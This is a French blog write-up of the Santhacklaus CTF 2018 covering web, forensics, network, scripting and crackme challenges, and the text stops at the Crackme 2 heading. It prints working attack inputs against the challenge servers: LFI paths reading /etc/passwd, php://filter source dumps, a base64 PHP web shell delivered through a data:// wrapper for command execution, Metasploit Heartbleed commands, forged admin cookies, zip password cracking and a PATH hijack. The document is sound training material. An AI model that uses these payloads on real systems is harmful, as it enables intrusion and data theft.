[NO ENGLISH VERSION - Only French is available for this post]
Le Santhacklaus CTF 2018 est un challenge Jeopardy en ligne, organisé par quatre étudiants de l’IMT Lille Douai @_nwodtuhs @m3lsius @Ch3n4p4N @Deldel. Cet article traite des différents challenges que j’ai réussi et eu le temps de faire.
D’une durée d’une semaine, du 14/12 au 21/12, la compétition est également un projet étudiant réalisé dans le cadre de la formation des 4 auteurs. De mon point de vue, des challenges plutôt fun et intéressants. Je n’ai pu le commencer qu’à 2 jours et demi de la fin donc malheureusement pour moi je n’ai pas eu le temps de me pencher sur les challenges les plus intéressants. C’est néanmoins une 33e place avec 4390 points !
Sommaire
- Web Challenges
- Forensics et réseau
- App Scripts & Programmation
- Reverse Engineering
- Stéganographie et Cryptographie
- Le mot de la fin
TL;DR
Nom du challenge | Catégorie | Explications & Description | Valeur |
---|---|---|---|
I got 404 problems | Web | Page d’erreur 404 personnalisée | 50 |
Authentication 2.0 | Web | Manipulation des méthodes GET et POST | 100 |
The flag grabber | Web | Manipulation de code HTML/CSS/JS | 150 |
Arch Drive 1/3 | Web | Local File Inclusion classique | 150 |
Arch Drive 2/3 | Web | LFI avec wrapper PHP afin de récupérer un fichier | 150 |
SHRT | Web | Manipulation des headers HTTP | 200 |
jeanclaude.vd | Web | Fichier de sauvegarde automatique | 250 |
Be my Valentine | Web | Exploitation Heartbleed | 400 |
3D Industry 1/2 | Web | Exécution de code via LFI avec wrapper data:// | 400 |
3D Industry 2/2 | Stéganographie | Fichier de modélisation 3D | 200 |
Playa Del Fuego | Forensics | / | 50 |
What’s his name ? | Réseau | Telnet. Analyse de flux TCP | 100 |
Pong | Réseau | Exfiltration de données via ICMP | 200 |
Volatility101 | Forensics | Récupération d’informations sur un dump mémoire | 250 |
Mental arithmetic | Programmation | Calcul automatisés en interaction avec un serveur | 150 |
On the road again | App-Script | / | 150 |
QREncoded | Programmation | Décodage massif de QRcodes afin de former une image | 200 |
Crackme 1 | Reverse Engineering | / | 150 |
Crackme 2 | Reverse Engineering | / | 250 |
Slept on the keyboard | Cryptographie | / | 50 |
Xtracted | Cryptographie | Brainfuck | 100 |
Stego101 | Stéganographie | Métadonnées et extraction en utilisant steghide | 150 |
Web Challenges
I got 404 Problems - 50 pts
Simple challenge d’introduction, pas de ressource sur laquelle taper. Le but du challenge tourne autour des erreurs 404. Ainsi, on tente d’accéder via la plateforme à une ressource inexistante.
Et on se retrouve avec une page “404” personnalisée, affichant le premier flag : IMTLD{Th3_P4g3_w4s_n0T_f0uNd}.
### Authentication 2.0 - 100 pts
L’énoncé “Did you GET it” indique clairement que le challenge tourne autour de la manipulation de méthodes HTTP. Ainsi, avec l’utilitaire curl
, il est possible de réaliser différentes requêtes. Une requête GET classique demande à l’utilisateur d’envoyer son nom d’utilisateur (username) pour s’authentifier.
$ curl -X GET https://authentication.santhacklaus.xyz/
Après quelques recherches sur un possible paramètre caché, j’ai tenté de passer par la méthode POST. On récupère un retour différent demandant maintenant quel est notre nom d’utilisateur.
$ curl -X POST https://authentication.santhacklaus.xyz/
En se basant sur le retour fait à l’utilisateur “What is your username ?” on tente d’envoyer un paramètre “username”.
$ curl -X POST https://authentication.santhacklaus.xyz/ --data "username=Haax"
La requête passe correctement mais le site nous indique que l’utilisateur Haax ne dispose pas des permissions requises pour s’authentifier. Étant donné qu’il s’agit d’un challenge simple, on ne cherche pas très loin et on tente une requête avec l’username “admin”.
$ curl -X POST https://authentication.santhacklaus.xyz/ --data "username=admin"
Le site nous répond avec le flag IMTLD{Y0u_H4v3_t0_st4rT_s0m3Wh3r3} ! :)
### The flag grabber - 150 pts
Il s’agit ici d’un challenge axé sur le Javascript. On arrive sur une page web contenant le code suivant.
<div id="cursor">
<input type="submit" value="I want my flag !" name="false_button" onclick="message()">
</div>
<form method="POST" id="formulaire">
<input type="submit" value="I want my flag !" name="button">
</form>
De plus, le code JavaScript suivant est également exécuté.
<script type="text/javascript">
document.onmousemove = function(e) {
if (!e) {
var e = window.event;
}
var mX = parseInt(e.pageX ? e.pageX : e.clientX, 10);
var mY = parseInt(e.pageY ? e.pageY : e.clientY, 10);
if (document.all) {
mX += document.documentElement.scrollLeft;
mY += document.documentElement.scrollTop;
}
mX = Math.min(Math.max(0, mX), 1500);
mY = Math.min(Math.max(0, mY), 1400);
document.getElementById("cursor").style.left = mX - 50 + 'px';
document.getElementById("cursor").style.top = mY - 12 + 'px';
}
</script>
Il permet de faire en sorte qu’un faux bouton suive la souris de l’utilisateur. Ce bouton déclenche la fonction “message()” suite à un clic. Cette dernière affiche seulement un message du type “Nice Try ! ;)”.
Il est également à noter que le formulaire “formulaire” possède le code CSS suivant.
element {
}
#formulaire {
visibility: hidden;
}
body {
font-size: 2em;
line-height: 30px;
font-family: "Myriad Pro", "Trebuchet MS", Arial;
}
Ainsi, deux choses sont à prendre en compte pour ce challenge :
- La visibilité du vrai formulaire, qui est par défaut caché via le CSS ;
- Le faux bouton qui suit l’utilisateur.
Pour ce qui est du formulaire, la propriété CSS visibility: hidden
permet de le cacher. Il suffit ainsi d’ouvrir l’inspecteur d’éléments et de décocher la case la propriété pour voir s’afficher le vrai bouton. Cependant, on ne peut pas encore cliquer dessus, à cause du faux bouton suivant la souris.
Pour cela, une méthode simple est de changer l’identifiant du bouton dans le code HTML. En effet, on voit dans le code JavaScript que les opérations sont effectuées sur l’élément HTML possédant l’identifiant “cursor”. Ainsi, si dans l’inspecteur, on modifie en direct l’identifiant du faux bouton par une autre valeur, ce dernier s’arrête de bouger et ne suit plus la souris.
Ainsi, on peut soumettre le vrai formulaire et voir s’afficher le flag IMTLD{J4v4scRipT_iS_W0nD3rFuL}.
### Arch Drive 1/3 - 150 pts
Premier challenge d’une série de 5 challenges. On arrive sur la mire d’authentification à un supposé service de stockage en ligne. Deux possibilités, tenter de bypass le formulaire de connexion ou tenter de passer par le reset du mot de passe. Quelques injections rapides sont tentées mais on se dirige rapidement vers la fonction de reset. Cette page est appelée de la façon suivante.
https://archdrive.santhacklaus.xyz/?page=reset.php
Premier réflexe : LFI !
On tente donc de prouver la vulnérabilité en affichant le très connu “/etc/passwd”.
https://archdrive.santhacklaus.xyz/?page=../../../../etc/passwd
Ce qui nous donne le premier flag.. :) Ce challenge est simple mais il permet de montrer le point d’entrée vers la suite.
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/bin/false G0lD3N_Us3r:x:1000:1000:IMTLD{Th1s_iS_4n_ImP0rt4nT_uS3r},,,:/home/G0lD3N_Us3r:/bin/bash
### Arch Drive 2/3 - 150 pts
Suite du scénario, et dernier challenge pour ma part. Je n’ai pas eu le temps de me pencher en détails sur les suivants.
A ce stade, on dispose d’une LFI. On a donc plusieurs possibilités. Ne connaissant que peu de fichiers accessibles (reset.php?) on va essayer de récupérer le plus d’informations possible, en lisant par exemple le code source du site web. Une façon relativement simple de parvenir à cela est d’utiliser les wrappers PHP. L’un des plus connus est le wrapper “php://filter” permettant notamment d’encoder le contenu d’un fichier en base64, ce qui permet ensuite de récupérer le contenu du fichier, qui ne sera pas interprété car encodé.
https://archdrive.santhacklaus.xyz/?page=php://filter/convert.base64-encode/resource=reset.php
De même pour la page de connexion qui apporte des informations plus précises.
https://archdrive.santhacklaus.xyz/?page=php://filter/convert.base64-encode/resource=login.php
On remarque l’appel à un fichier “myfiles.php”. Toujours pareil, on va fouiller afin de voir ce qu’il contient.
https://archdrive.santhacklaus.xyz/?page=php://filter/convert.base64-encode/resource=myfiles.php
<p class="login100-form-title" style="font-size: 24px">My Recent Documents</p></br>
<ul>
<li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/rib-bnp.gif">rib-bnp.gif</a></li>
<li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/test.html">test.html</a></li>
<li><a class="txt2" href="images/vacances1.jpg">Vacances_2018_1.jpg</a></li>
<li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/CONFIDENTIEL.zip">CONFIDENTIEL.zip</a></li>
<li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/facture_mobile_sfr.png">facture_mobile_sfr.png</a></li>
<li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/camel.jpg">camel.jpg</a></li>
<li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/cat.jpg">cat.jpg</a></li>
<li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/documents">documents</a></li>
<li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/funny_wtf.jpg">funny_wtf.jpg</a></li>
<li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/freshandhappy.mp3">freshandhappy.mp3</a></li>
<li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/intense.mp3">intense.mp3</a></li>
<li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/recup.zip">recup.zip</a></li>
<li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/funny.jpg">funny.jpg</a></li>
<li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/goats.jpg">goats.jpg</a></li>
<li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/lol.jpg">lol.jpg</a></li>
<li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/rapport_SM.pdf">rapport_SM.pdf</a></li>
<li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/media">media</a></li>
<li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/these.pdf">these.pdf</a></li>
<li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/these-2.pdf">these-2.pdf</a></li>
<li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/wallpaper.jpg">wallpaper.jpg</a></li>
<li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/VeraCrypt.zip">VeraCrypt.zip</a></li>
</ul>
Une jolie liste de fichiers ! Il est possible de les télécharger en y accédant directement dans un navigateur. Quelques fichiers inutiles mais également 3 archives ZIP. La seule intéressante pour ce challenge est l’archive “recup.zip” protégée par un mot de passe. Let’s bruteforce !
$ fcrackzip -u -D -p rockyou.txt recup.zip
Assez rapidement, le mot de passe “hackerman” est trouvé. On peut décompresser l’archive et ainsi récupérer le flag IMTLD{F1nd_Y0uR_W4y} dans un fichier “password.txt”.
NOTE : La suite du challenge semble se passer du côté des conteneurs VeraCrypt. Si vous voulez lire la solution, n’hésitez pas à aller voir du côté de https://maki.bzh/courses/blog/writeups/santhacklaus2018/
### SHRT - 200 pts
Burp Suite time ! En observant les requêtes, on remarque la présence d’un cookie étrange :
Cookie: connexion= 5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8
La chaine hexa donnée fait 64 caractères de long, ce qui correspond à un hash SHA256. Un rapide tour sur les bases de données de hash connues révèle la signification de ce dernier : “stranger”. Ok. A partir de là, si on veut passer, peut être faut-il construire un cookie de connexion en administrateur ?
> $ echo -n "admin" | sha256sum
8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
On passe ça en cookie, et après on obtient la page suivante.
Are you the real administrator ?
Remember: You need to come from the "russian.deep-web.org" website with the "Black Hat Browser" navigator !
Il semble donc qu’il faille manipuler les en-têtes HTTP. La provenance peut se faire avec l’en-tête “Referer” tandis que le navigateur est identifié par l’en-tête “User Agent”. Ainsi, on construit une requête qui ressemble à ça.
GET / HTTP/1.1
Host: srht.santhacklaus.xyz
Referer: russian.deep-web.org
User-Agent: Black Hat Browser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: connexion=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
Upgrade-Insecure-Requests: 1
Résultat ?
Welcome back admin ! What do you want to do today ?
- Launch an attack against a government
- Consult secret documents
Well done ! Take your flag: IMTLD{B3c4u5e_sQL_iNj3cti0n5_4r3_0v3r4tt3D}
### Jeanclaude.vd - 250 pts
Atterissage sur une fan page statique de Jean-Claude Van Damme. Quelques recherches classiques nous font aller vers le fichier “robots.txt”.
todo.txt
admin.html
Le fichier “admin.html” semble ne pas être présent. Le fichier texte trouvé contient ceci :
TO CHECK Delete the admin page (server crashed while editing)
TO DO Add a contact page
TO DO Create a Facebook page
DONE Watch Bloodsport
DONE Drink water, regularly
L’information importante ici est la première ligne. Il est demandé de vérifier que la page d’administration a bien été supprimée. En théorie, oui, car on ne peut plus y accéder. Néanmoins, il est spécifié que le serveur a crashé durant l’édition, donc, pendant que l’éditeur était ouvert.
Il n’est pas rare que durant l’édition d’un fichier, les éditeurs créés des fichiers automatiques de sauvegarde. Les différentes extensions sont ainsi testées. Puis, je me suis dis que l’éditeur était probablement Vim. A partir de là, quelques recherches indiquent que les fichiers de sauvegardes automatique de Vim ont la syntaxe suivante .nomfichier.extension.swp
. Ainsi, on tente de récupérer le fichier admin.html
perdu en cours d’édition et…
> $ curl https://jeanclaudevd.santhacklaus.xyz/.admin.html.swp
<HTML>
<HEAD> <TITLE>Admin</TITLE> </HEAD>
<BODY>
<h2 class="tm-about-title">Administrator</h2>
<IMG SRC="img/jcvd2.gif">
<IMG SRC="img/jcvd3.gif">
<IMG SRC="img/jcvd4.gif">
<p class="tm-about-description">
Congratz ! Here is the flag IMTLD{ID04L0t0f1s0m3tr1cs}
</BODY>
</HTML>
### Be my Valentine - 400 pts
Le nom, l’énoncé “Take care of your heart (maybe also your eyes).” ainsi que l’image d’un grand coeur me fait directement penser à l’exploitation de la CVE-2014-0160 plus connue sous le nom de “Heartbleed”. Une adresse IP ainsi qu’un port sont donnés 51.75.202.113:1073
. Il s’agit d’un blog sans intérêt particulier.
Pour l’identification et l’exploitation de la potentielle vulnérabilité, l’exploit intégré au framework Metasploit est utilisé. Un détail qui m’a fait chercher un petit peu avant de comprendre pourquoi je ne récupérais rien, la version de TLS utilisée par le serveur. Je n’y avais pas fait attention et avais laissé la valeur par défaut dans l’exploit.. Il s’agit en fait de TLS 1.2, visible au niveau du certificat.
> use auxiliary/scanner/ssl/openssl_heartbleed
> set RHOSTS 51.75.202.113:1073
> set RPORT 1073
> set TLS_VERSION 1.2
# Note - Ne pas oublier de modifier la verbosité afin de récupérer les données
> set verbose true
> exploit
Parmi la bouillie d’informations exfiltrée, on retrouve ceci :)
[+] 51.75.202.113:1073 - Heartbeat response with leak, 65535 bytes
[*] 51.75.202.113:1073 - Printable info leaked:
......\.pp......%..765.........}S.C.....f.....".!.9.8.........5.............................3.2.....E.D...../...A.......................................w-form-urlencoded....IMTLD{I_Cl34n3d_Y0ur_D1rtY_H34rT_Sw33tY}\:.`..?..h.)
### 3D Industry (1/2) - 400 pts
Le challenge débute ici sur le site d’une petite entreprise. Plusieurs pages sont accessibles de cette façon :
https://3d-industry.santhacklaus.xyz/index.php?file=creations.php
Une fois encore, premier réflexe : LFI ! Afin d’effectuer mes tests, je me suis basé sur l’excellent dépôt Github de Swissky : PayloadAllTheThings.
Après quelques tests, on arrive à l’utilisation du wrapper PHP data://. Celui ci permet d’envoyer des données, encodées par exemple en base64. Il est ainsi possible par exemple d’envoyer du php qui peut être interprété par le serveur. Par exemple, le payload suivant peut être tenté :
# Payload
"<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
# Encodage
PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
# Requête
https://3d-industry.santhacklaus.xyz/index.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
On remarque l’affichage de notre chaine “Shell done !”. Cela veut dire que le PHP a bien été exécuté. Ainsi, on obtient une exécution de commandes sur le serveur :).
https://3d-industry.santhacklaus.xyz/index.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=&cmd=ls
accueil.php admin config contact.php creations.php inc index.php lang lang.php services.php style Shell done !
Pour des raisons pratique, j’ai ensuite utilisé burp afin de fouiller le serveur.
L’affichage des fichiers cachés dans le dossier courant avec ls -lah
révèle la présence d’un répertoire “.hidden”. En fouillant dans ce répertoire, on trouve plusieurs répertoires imbriqués, jusqu’au flag.
https://3d-industry.santhacklaus.xyz/index.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=&cmd=cat .hidden/this/is/the/path/to/the/flag/flag.txt
Well done ! You can validate with the flag:
IMTLD{B3w4r30fURL1nclud3}Shell done !
### 3D Industry (2/2) - 200 pts
La suite du challenge n’est plus tellement du web mais plutôt de la stéganographie/MISC puisqu’il s’agit de récupérer et exploiter des données. L’énoncé indique que le dirigeant est maintenant inquiet à propos des uploads de fichiers, dans la section d’administration
Toujours via l’exploitation de la LFI, on fouille le serveur en direction de la section d’uploads de fichiers et on y trouve un fichier admin/uploads/s3cr37-d0cum3n7.txt
contenant une très longue chaine qui semble être de la base64.
$ wget -O 3D.txt https://3d-industry.santhacklaus.xyz/index.php\?file\=data://text/plain\;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4\=\&cmd\=file:///index.php%3Ffile\=data://text/plain%3bbase64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4\=\&cmd\=cat%20admin/uploads/s3cr37ed0cum3n7.txt
Une fois la base64 isolée et décodée, on observe au début la chaine suivante “SketchUp STL com.sketchup.SketchUp.2018”. Je connaissais déjà le logiciel sketchup, permettant de faire de la modélisation 3D. On a donc un fichier. On redirige donc la base64 dans un fichier “3D_industry.stl”.
Après quelques recherches, je me suis aperçu que Sketchup dispose d’un éditeur en ligne ! Parfait, ça m’évite d’installer le logiciel et ça me convient très bien. On peut donc importer le fichier sur l’éditeur et voir le flag s’afficher ! :)
## Forensics et réseau
Playa Del Fuego - 50 pts
Le challenge démarre avec un PDF sur lequel une partie du texte est cachée par une bande noire. Il est demandé de retrouver le contenu du texte caché. Une simple copie du texte du document vers un éditeur de texte révèle la présence de la bande cachée, et donc du flag IMTLD{Bl4ck_0n_Bl4ck_isAbadIDEA}.
### What's his name ? - 100 pts
La capture réseau fournie avec le challenge concerne des échanges réalisés avec telnet. Le traffic étant en clair, il est possible de retrouver le contenu des échanges avec Wireshark en utilisant la fonctionnalité “Follow TCP stream”. Ainsi on récupère le contenu suivant, contenant le mot de passe de l’utilisateur.
........... ..!.."..'.....#..... ..#..'........!.."..... .....#.....'.............h.7.... .38400,38400....#.nani.lan:1....'..DISPLAY.nani.lan:1......xterm-256color..............Debian GNU/Linux 7
debian login: jjcceennaa
.
Password: W4tch4_W4tch4
.
Last login: Tue Oct 30 05:27:07 CDT 2018 from 172.27.191.154 on pts/0
Linux debian 3.2.0-4-686-pae #1 SMP Debian 3.2.96-2 i686
### Pong - 200 pts
La capture de trames réseau fournie pour ce challenge contient plusieurs milliers de trame ICMP. Il s’agit en réalité d’une exfiltration de données via le protocole ICMP. En effet, il est possible d’exfiltrer une faible quantité de données dans le champ data d’un ping. Après quelques essais et observations sur le contenu de quelques trames, on observe que les données exfiltrées ressemblent à de la base64. J’ai automatisé l’extraction avec le script python
suivant (dégueulasse, je vous l’accorde).
#!/usr/bin/env python
from scapy.all import *
pcap_file = "challenge.pcapng"
data = rdpcap(pcap_file)
output = ""
for i in range(0, len(data)):
if data[i].getlayer(IP).dst == "192.168.1.33":
payload = data[i].load.decode("utf-8")
print(payload)
output += payload
output_file = open("result.b64", "w")
output_file.write(output)
output_file.close()
Par la suite, on décode la base64 pour s’apercevoir qu’il s’agit d’un fichier PNG, laissant apparaître le flag IMTLD{4_s1mpl3_3xfilTR4t1oN_tECHNIQUe}.
### Volatility101 - 250 pts
Super challenge d’introduction/rappels à volatility ! On démarre avec un dump de RAM d’un Windows qu’il faut analyser. Le challenge est composé de trois parties :
- Partie 1 - Récupérer le nom de la machine ;
- Partie 2 - Retrouver le nom de l’archive ZIP présente sur le bureau de l’utilisateur ;
- Partie 3 - Récupérer le contenu de l’archive
Après avoir récupéré les informations du dump, permettant notamment de sélectionner un profil, on requête la liste des ruches (hives) afin d’avoir l’offset de la ruche \REGISTRY\MACHINE\SYSTEM
qui contient notamment le nom de la machine.
$ volatility -f challenge.dmp imageinfo
$ volatility -f challenge.dmp --profile=Win7SP1x86_23418 hivelist
> $ volatility -f challenge.dmp --profile=Win7SP1x86_23418 hivelist
Volatility Foundation Volatility Framework 2.6
Virtual Physical Name
---------- ---------- ----
0x8900c008 0x28872008 [no name]
0x8901a1d8 0x28a3a1d8 \REGISTRY\MACHINE\SYSTEM
0x8903a008 0x2891a008 \REGISTRY\MACHINE\HARDWARE
0x890c0580 0x2d26c580 \SystemRoot\System32\Config\DEFAULT
0x96c03008 0x2d9d2008 \Device\HarddiskVolume1\Boot\BCD
0x96cf29c8 0x2d4d99c8 \SystemRoot\System32\Config\SOFTWARE
0x9ba13458 0x2d00e458 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0x9ba22008 0x2ce76008 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0x9ba3c9c8 0x2517d9c8 \SystemRoot\System32\Config\SECURITY
0x9ba8c9c8 0x24d819c8 \SystemRoot\System32\Config\SAM
0x9e4699c8 0x235679c8 \??\C:\Users\John\ntuser.dat
0x9e55e9c8 0x1bfe49c8 \??\C:\Users\John\AppData\Local\Microsoft\Windows\UsrClass.dat
Puis on va chercher la clé de registre utilisée pour stocker le nom de la machine.
$ volatility -f challenge.dmp --profile=Win7SP1x86_23418 printkey -o 0x8901a1d8 -K 'ControlSet001\Control\ComputerName\ComputerName'
Volatility Foundation Volatility Framework 2.6
Legend: (S) = Stable (V) = Volatile
----------------------------
Registry: \REGISTRY\MACHINE\SYSTEM
Key name: ComputerName (S)
Last updated: 2018-11-06 13:20:03 UTC+0000
Subkeys:
Values:
REG_SZ : (S) mnmsrvc
REG_SZ ComputerName : (S) WELC0M3
Pour la suite du challenge, plusieurs options semblent possible. J’ai trouvé l’information que je cherchais en observant les commandes qui avaient été tapées par l’utilisateur. Grâce au module consoles
on récupère celles-ci et on observe la copie d’une archive ZIP depuis le répertoire de téléchargement de l’utilisateur John vers son bureau. On a ainsi le nom du fichier ZIP.
> $ volatility -f challenge.dmp --profile=Win7SP1x86_23418 consoles
Volatility Foundation Volatility Framework 2.6
**************************************************
ConsoleProcess: conhost.exe Pid: 2404
Console: 0x6981c0 CommandHistorySize: 50
HistoryBufferCount: 1 HistoryBufferMax: 4
OriginalTitle: %SystemRoot%\system32\cmd.exe
Title: C:\Windows\system32\cmd.exe
AttachedProcess: cmd.exe Pid: 2388 Handle: 0x5c
----
CommandHistory: 0xb1cc0 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 2 LastAdded: 1 LastDisplayed: 1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x5c
Cmd #0 at 0xb2c50: copy C:\Users\John\Downloads\toTh3.zip C:\Users\John\Desktop\
Cmd #1 at 0xae3d8: dir Desktop
----
Screen 0x962a0 X:80 Y:300
Dump:
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\John>copy C:\Users\John\Downloads\toTh3.zip C:\Users\John\Desktop\
1 file(s) copied.
> $ volatility -f challenge.dmp --profile=Win7SP1x86_23418 filescan | grep "toTh3.zip"
Volatility Foundation Volatility Framework 2.6
0x000000003e067440 8 0 RWD--- \Device\HarddiskVolume2\Users\John\Desktop\toTh3.zip
0x000000003e712c08 2 0 R--rw- \Device\HarddiskVolume2\Users\John\Downloads\toTh3.zip
La dernière étape est de récupérer le contenu de l’archive. La première chose à faire est d’extraire le fichier du dump.
> $ volatility -f challenge.dmp --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000003e067440 -D extractFolder
Volatility Foundation Volatility Framework 2.6
DataSectionObject 0x3e067440 None \Device\HarddiskVolume2\Users\John\Desktop\toTh3.zip
Une fois le fichier récupéré, il ne reste plus qu’à récupérer le contenu de l’archive.. Après avoir cracké le mot de passe ;)
$ fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt file.None.0x85db26e0.dat
PASSWORD FOUND!!!!: pw == iamahacker
On récupère ainsi la dernière partie du flag “F0r3ns1cCLUB” ce qui permet de créer le flag de l’épreuve IMTLD{WELC0M3_toTh3_F0r3ns1cCLUB}.
## App Scripts & Programmation
Mental arithmetic - 150 pts
Le but de ce challenge est de se connecter à une machine distante afin d’y récupérer deux nombres, d’effectuer une opération entre ces derniers et de renvoyer le résultat rapidement au serveur.
Je me suis dit pour cela que c’était l’occasion d’essayer la librairie Python pwntools
! Ainsi, ci-dessous le script (dégueulasse également..) que j’ai utilisé :)
#!/usr/bin/env python
from pwn import *
from math import *
# Connexion à la machine
conn = remote('51.75.202.113', 10001)
# On passe les instructions du challenge
print(conn.recvline())
print(conn.recvline())
print(conn.recvline())
# Réception du premier nombre
first = conn.recvline().split(' ')[3]
print(first)
# Réception du second nombre
second = conn.recvline().split(' ')[3]
print(second)
# Opérations et calcul du résultat
print(sqrt(int(first)))
print(pow(int(second), 3))
res = sqrt(int(first)) * pow(int(second), 3)
print(int(res))
# Envoi au serveur
conn.sendline(str(int(res)))
# Récupération du flag
print(conn.recv(timeout=2))
conn.close()
Et maintenant, en action…
> $ python2.7 ./menthal.py
[+] Opening connection to 51.75.202.113 on port 10001: Done
Welcome !!
You must calculate the square root of the 1st number, multiply the result by the cube of the 2nd number and send the integer part of the final result...
I almost forget, you only have 2 seconds to send me the result
3858
4858
62.1128006131
1.14649596712e+11
7121207540942
Congratz!! Flag : IMTLD{TheFastestManAlive}
[*] Closed connection to 51.75.202.113 port 10001
### On the road again - 150 pts
Le challenge démarre sur une machine sur laquelle nous avons accès à un binaire et son code source. Le but du challenge est d’afficher le contenu du fichier “.flag”.
#include <stdio.h>
#include <stdlib.h>
int main(void) {
system("rm /home/challenger1/.flag");
return 0;
}
Le programme réalise donc simplement un rm
du fichier “.flag”. La plupart des commandes classiques sont désactivées. Ainsi, pour réussir à afficher le contenu du fichier, il faut réussir à modifier le comportement du binaire. On peut par exemple essayer de faire en sorte que le rm
réalise une action différente. On va ainsi créer un fichier /tmp/rm
contenant en réalité un appel à la commande cat
. On modifie ensuite la variable d’environnement PATH afin que le programme aille chercher dans /tmp sa commande rm
et lance donc notre programme :).
$ echo '#/bin/cat' > /var/tmp/rm
$ PATH=/tmp
$ ./ch1
#!/bin/cat
IMTLD{Th1s0neW4sSymPATH3t1c2}
### QREncoded - 150 pts
Le challenge est composé de plusieurs centaines de QRcodes qu’il faut décoder et assembler. Le décodage de quelques uns d’entre eux semble donner de la base64. Ainsi, le challenge semble être de décoder les QRcodes un par afin d’obtenir une chaine en base64, à décoder.
Le tout peut se faire en une ligne de bash :
for index in {0..843}; do zbarimg -q --raw part_$index.png ; done | tr -d '\n' | base64 -d >> result
Quelques explications, on réalise une boucle ayant pour nombre d’itérations le nombre de qrcodes. Pour chaque itération, on utilise le programme zbarimg
afin de décoder l’image. Ce dernier affiche le résultat dans le terminal. Ainsi, à la fin de la boucle, on dispose de toutes les bases64 dans le terminal. On utilise ensuite tr
afin de retirer les retours à la ligne et reformer une chaine complète puis on décode le tout et on envoie le résultat dans un fichier.
> $ file result
result: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.6, datetime=2018:11:15 22:24:26], progressive, precision 8, 423x532, components 3
On obtient donc une jolie image JPEG nous donnant le flag IMTLD{qrCODES_R_3v1l}.
## Reverse Engineering
Crackme 1 - 150 pts
Le premier challenge de reverse demande un mot de passe en argument, le vérifie, et affiche “password incorrect” ou le flag en fonction du mot de passe utilisé.
Nul besoin de rentrer dans les détails du binaire pour ce premier challenge (un peu de répit avant la souffrance…) puisqu’une simple étude des appels aux librairies effectués, à l’aide de ltrace
permet d’obtenir le mot de passe de l’application…
$ ltrace ./crackme_1 loltest
strlen("hackerman") = 9
strlen("hackerman") = 9
puts("Password incorrect"Password incorrect
) = 19
+++ exited (status 0) +++
On peut donc récupérer le flag en utilisant le mot de passe récupéré.
$ ./crackme_1 hackerman
Access granted !
Flag : IMTLD{Y0uAr34H4ck3rH4rry}
### Crackme 2 - 250 pts
